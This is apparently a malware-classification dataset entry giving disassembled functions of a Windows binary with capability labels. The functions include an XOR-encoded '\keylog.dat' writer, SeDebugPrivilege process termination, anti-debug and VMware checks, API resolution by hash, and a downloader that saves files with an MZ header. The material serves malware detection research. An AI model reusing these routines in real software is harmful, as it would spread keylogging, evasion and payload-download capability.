joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408d30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
sub esp, 0x11c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.SetFilePointer
push str.KERNEL32.dll
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetFileSize
push str.KERNEL32.dll
mov dword [esp + 0x24], eax
call ebp
push eax
call ebx
push str.GetSystemDirectoryA
push str.KERNEL32.dll
mov dword [esp + 0x2c], eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x19], 0x6b
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], 0x79
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call ebp
push eax
call ebx
lea ecx, [esp + 0x28]
push 0x104
push ecx
call eax
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.CreateFileA
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push str.KERNEL32.dll
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
push eax
call ebx
push 0
push 0x80
push 4
push 0
push 2
lea ecx, [esp + 0x3c]
push 0x40000000
push ecx
call eax
mov esi, eax
push 0
push esi
mov dword [esp + 0x28], 0
call dword [esp + 0x2c]
cmp eax, 0x3200000
jae 0x408e3b
push 2
push 0
push 0
push esi
call dword [esp + 0x2c]
mov cl, byte [0x42a428]
mov al, 1
test al, cl
jne 0x408e63
or cl, al
push str.WriteFile
push str.KERNEL32.dll
mov byte [0x42a428], cl
call ebp
push eax
call ebx
mov dword [0x42a424], eax
mov edi, dword [esp + 0x130]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
push edi
call fcn.00415686
add esp, 4
mov edx, eax
test edi, edi
jle 0x408ea2
mov ecx, dword [esp + 0x130]
sub ecx, edx
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x1c]
mov cl, byte [ecx + eax]
xor cl, 0x62
mov byte [eax], cl
inc eax
dec edi
jne 0x408e92
mov edi, dword [esp + 0x130]
lea eax, [esp + 0x20]
push 0
push eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [0x42a424]
push str.CloseHandle
push str.KERNEL32.dll
call ebp
push eax
call ebx
push esi
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret
Function at 0x409530
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
sub esp, 0x120
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.CreateFileA
mov dword [esp + 0x2c], ecx
push str.KERNEL32.dll
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
xor esi, esi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
mov edi, eax
mov dword [esp + 0x2c], esi
call ebp
push eax
call ebx
lea ecx, [esp + 0x2c]
push 0x104
push ecx
call eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x2c]
push edx
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x19], 0x6b
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], 0x79
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push 0x80
push 3
push esi
push 1
lea ecx, [esp + 0x40]
push 0x80000000
push ecx
call edi
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x1c], edi
je 0x409660
push str.GetFileSize
push str.KERNEL32.dll
call ebp
push eax
call ebx
push str.ReadFile
push str.KERNEL32.dll
mov esi, eax
call ebp
push eax
call ebx
push 0
push edi
mov dword [esp + 0x28], eax
call esi
mov esi, eax
push esi
call fcn.00415686
add esp, 4
lea edx, [esp + 0x24]
mov edi, eax
mov eax, dword [esp + 0x1c]
push 0
push edx
push esi
push edi
push eax
call dword [esp + 0x34]
xor eax, eax
test esi, esi
jbe 0x409646
mov cl, byte [eax + edi]
xor cl, 0x62
mov byte [eax + edi], cl
inc eax
cmp eax, esi
jb 0x409638
mov ecx, dword [esp + 0x28]
push esi
push edi
call fcn.004094b0
push edi
mov esi, eax
call fcn.00415694
mov edi, dword [esp + 0x20]
add esp, 4
push str.CloseHandle
push str.KERNEL32.dll
call ebp
push eax
call ebx
push edi
call eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret
Function at 0x40cb70
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x41f6c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
mov dword [esi], 0x4201fc
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.TerminateThread
push str.KERNEL32.dll
mov dword [esp + 0x40], 0
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov edi, eax
mov al, 0x65
mov byte [esp + 0x1d], al
mov byte [esp + 0x24], al
mov byte [esp + 0x29], al
mov al, 0x73
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], al
lea eax, [esp + 0x1c]
mov cl, 0x72
push eax
push str.KERNEL32.dll
mov byte [esp + 0x24], 0x54
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], 0x69
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2d], 0x50
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], 0x6f
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x34], 0
call ebp
push eax
call ebx
push str.WaitForSingleObject
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call ebp
push eax
call ebx
mov ecx, dword [esi + 0x28]
push 0
push ecx
mov dword [esp + 0x1c], eax
call edi
mov edx, dword [esi + 0x20]
push 0
push edx
call dword [esp + 0x18]
mov eax, dword [esi + 0x24]
push 0
push eax
call edi
mov ecx, dword [esi + 0x2c]
push 0x7d0
push ecx
call dword [esp + 0x1c]
mov edx, dword [esi + 0x2c]
push 0
push edx
call edi
mov cl, byte [0x42aa71]
mov al, 1
test al, cl
jne 0x40cc8e
or cl, al
push str.DisconnectNamedPipe
push str.KERNEL32.dll
mov byte [0x42aa71], cl
call ebp
push eax
call ebx
mov dword [0x42aa78], eax
mov eax, dword [esi + 0x10]
test eax, eax
je 0x40cc9c
push eax
call dword [0x42aa78]
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40ccaa
push eax
call dword [0x42aa78]
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40ccb8
push eax
call dword [0x42aa78]
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40ccc6
push eax
call dword [0x42aa78]
push str.CloseHandle
push str.KERNEL32.dll
call ebp
push eax
call ebx
mov edi, eax
mov eax, dword [esi + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x10]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x2c]
push eax
call edi
mov ecx, dword [esi + 0x28]
push ecx
call edi
mov ecx, esi
mov dword [esp + 0x38], 0xffffffff
call fcn.004096e0
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x40d300
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
push 1
mov dword [esp + 0x14], ecx
push str.SeDebugPrivilege
call fcn.0040d6d0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 8
push str.CloseHandle
push str.KERNEL32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov ebp, eax
mov al, 0x72
mov byte [esp + 0x1e], al
mov byte [esp + 0x26], al
mov al, 0x73
mov byte [esp + 0x1c], 0x54
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], al
lea eax, [esp + 0x1c]
mov byte [esp + 0x1d], 0x65
push eax
push str.KERNEL32.dll
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], 0x69
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x50
mov byte [esp + 0x2f], 0x6f
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x34], 0
call edi
push eax
call esi
mov ebx, eax
mov eax, dword [esp + 0x38]
xor esi, esi
test eax, eax
jbe 0x40d3d7
mov ecx, dword [esp + 0x34]
mov edx, dword [esi + ecx]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call ebp
mov eax, dword [esp + 0x38]
add esi, 4
cmp esi, eax
jb 0x40d3a7
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x14]
mov byte [esp + 0x14], 0x53
push eax
push str.KERNEL32.dll
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x65
mov byte [esp + 0x20], 0x70
mov byte [esp + 0x21], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.0040d6d0
add esp, 8
push 0x64
call esi
mov esi, dword [esp + 0x10]
mov ecx, esi
call fcn.0040d0d0
mov ecx, esi
call fcn.0040d130
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x40d970
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateEventA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.WaitForSingleObject
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
mov ecx, dword [esp + 0x30]
mov dl, byte [esp + 0x3c]
push 0
mov ebp, eax
mov eax, dword [esp + 0x30]
push 0
push 0
push 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
mov byte [esp + 0x28], dl
call ebx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
push 0x40d910
push eax
push ecx
call fcn.00416d63
mov edx, dword [esp + 0x34]
add esp, 0x18
mov ebx, eax
push 0xffffffffffffffff
push edx
call ebp
push str.CloseHandle
push str.KERNEL32.dll
call esi
push eax
call edi
mov ecx, dword [esp + 0x1c]
push ecx
call eax
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x40da20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.Process32First
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call ebx
push eax
call ebp
push 0
push 2
call eax
push 0x128
mov edi, eax
call fcn.00415686
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call dword [esp + 0x18]
test eax, eax
je 0x40db55
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x40db55
mov eax, dword [esp + 0x28]
push eax
call fcn.0041f096
add esp, 4
push eax
lea eax, [esi + 0x24]
push eax
call fcn.0041f096
add esp, 4
push eax
call fcn.00415f00
add esp, 8
test eax, eax
jbe 0x40dac3
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x14
ret
mov cl, 0x65
mov al, 0x73
mov byte [esp + 0x18], cl
mov byte [esp + 0x1e], cl
lea ecx, [esp + 0x14]
mov byte [esp + 0x14], 0x50
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x21], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], 0x33
mov byte [esp + 0x24], 0x32
mov byte [esp + 0x25], 0x4e
mov byte [esp + 0x27], 0x78
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0
call ebx
push eax
call ebp
push esi
mov ebx, eax
push edi
call ebx
test eax, eax
je 0x40db55
mov edx, dword [esp + 0x28]
push edx
call fcn.0041f096
add esp, 4
push eax
lea eax, [esi + 0x24]
push eax
call fcn.0041f096
add esp, 4
push eax
call fcn.00415f00
add esp, 8
test eax, eax
ja 0x40dab6
push esi
push edi
call ebx
test eax, eax
jne 0x40db22
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret
Function at 0x40de60
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x40deaa
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x40deaa
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x40dec7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40dec7
call fcn.0040dca0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.0040dc20
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x40e220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x434
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x3c], eax
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x40], eax
mov al, 0x6c
push 0
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x29], al
push 0
push 0
lea eax, [esp + 0x1c]
mov ebp, 1
mov bl, 0x6f
mov dl, 0x69
mov cl, 0x61
push 0
push eax
mov dword [esp + 0x48], ebp
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x2f
mov byte [esp + 0x2c], 0x34
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x30
mov byte [esp + 0x2f], 0x20
mov byte [esp + 0x30], 0x28
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x62
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x29
mov byte [esp + 0x3c], 0
call dword [0x4298fc]
mov ebx, eax
test ebx, ebx
jne 0x40e2fe
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x434
ret
mov ecx, dword [esp + 0x448]
push 0
push 0x80000000
push 0
push 0
push ecx
push ebx
call dword [0x4298f4]
test eax, eax
mov dword [esp + 0x38], eax
jne 0x40e32d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x434
ret
push str.CreateFileA
push str.KERNEL32.dll
call esi
push eax
call edi
mov edx, dword [esp + 0x44c]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call eax
mov dword [esp + 0x2c], eax
mov al, byte [0x42aa84]
test al, 1
jne 0x40e381
mov cl, al
push str.WriteFile
or cl, 1
push str.KERNEL32.dll
mov byte [0x42aa84], cl
call esi
push eax
call edi
mov dword [0x42aa88], eax
cmp dword [esp + 0x2c], 0xffffffff
je 0x40e3f6
mov esi, dword [0x4298f8]
mov edx, dword [esp + 0x38]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x44]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x30]
lea ecx, [esp + 0x44]
push eax
push 0x400
push ecx
push edx
call esi
test ebp, ebp
je 0x40e3be
cmp word [esp + 0x44], 0x5a4d
jne 0x40e3e5
mov ecx, dword [esp + 0x30]
xor ebp, ebp
lea eax, [esp + 0x40]
push ebp
push eax
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x4c]
push ecx
push edx
push eax
call dword [0x42aa88]
mov eax, dword [esp + 0x30]
test eax, eax
jbe 0x40e3ed
jmp 0x40e38e
mov dword [esp + 0x34], 0
mov ecx, dword [esp + 0x2c]
push ecx
call dword [esp + 0x40]
mov edx, dword [esp + 0x38]
mov esi, dword [0x4298f0]
push edx
call esi
push ebx
call esi
mov ecx, dword [esp + 0x34]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x434
ret
Function at 0x402d0c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
leave
ret

Function at 0x403da3
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
leave
ret

Function at 0x40b6ed
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
jmp 0x40b706
nop
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40b725
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40b71c
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40b714
mov eax, ebx
leave
ret

Function at 0x40b767
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 4
mov esp, ebp
pop ebp
jmp 0x40b789
nop
pop edx
pop eax
pop ecx
push edx
pushal
mov ebx, eax
mov edi, ecx
xor al, al
scasb al, byte es:[edi]
jne 0x40b795
dec edi
sub edi, ecx
xchg ecx, edi
mov eax, dword [ebx + 0x3c]
mov esi, dword [ebx + eax + 0x78]
lea esi, [esi + ebx + 0x18]
lodsd eax, dword [esi]
xchg edx, eax
lodsd eax, dword [esi]
push eax
lodsd eax, dword [esi]
xchg ebp, eax
lodsd eax, dword [esi]
xchg ebp, eax
add eax, ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ecx
dec edx
je 0x40b7e4
mov esi, dword [eax + edx*4]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x40b7d0
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
jmp 0x40b7ba
shl edx, 1
add ebp, edx
movzx eax, word [ebp + ebx]
shl eax, 2
add eax, dword [esp]
mov eax, dword [ebx + eax]
add eax, ebx
pop ecx
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x430589
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 4]
mov eax, dword [ebp - 4]
jmp 0x4305c0
mov esp, ebp
pop ebp
ret
Function at 0x449f00
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f5c0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004ea04b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x449f82
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004e78ad
mov eax, dword [eax]
push 0xcfadb0
push eax
call fcn.004d95b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004ea2d6
test bl, bl
je 0x449f82
push 0xcfadb0
lea ecx, [esp + 0xc]
call fcn.004ea666
push 0xcfadbc
lea ecx, [esp + 0xc]
call fcn.004ea666
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x449fbe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004ea2d6
jmp 0x44a089
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x44a042
lea edx, [esp + 0x7c]
push 0xcfadb8
push edx
call fcn.004d95b4
add esp, 8
test eax, eax
je 0x44a042
lea eax, [esp + 0x7c]
push 0xcfadb4
push eax
call fcn.004d95b4
add esp, 8
test eax, eax
je 0x44a042
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x449fd2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004ea2d6
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x44a890
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x44a8f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x44a900
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f5c8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0xd11ad0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x44aa38
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x44a966
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ea2d6
xor eax, eax
jmp 0x44aaaf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004ea413
push esi
lea ecx, [esp + 0xc]
call fcn.004ea6a2
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x44aa8d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0044a890
test eax, eax
jne 0x44aa8d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0044a890
test eax, eax
jne 0x44aa8d
lea eax, [esp + 0x14]
push 0xcfadcc
push eax
call fcn.004da7a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x44aa6c
lea ecx, [esp + 0x14]
push 0xcfadc8
push ecx
call fcn.004da720
mov esi, eax
add esp, 8
test esi, esi
jne 0x44aa6c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x44aa6f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004ea3c3
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x44a97e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ea2d6
xor eax, eax
jmp 0x44aaaf
mov byte [esi], 0
push 0xcfadc4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004ea2d6
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x4538d6
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x4538fe
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret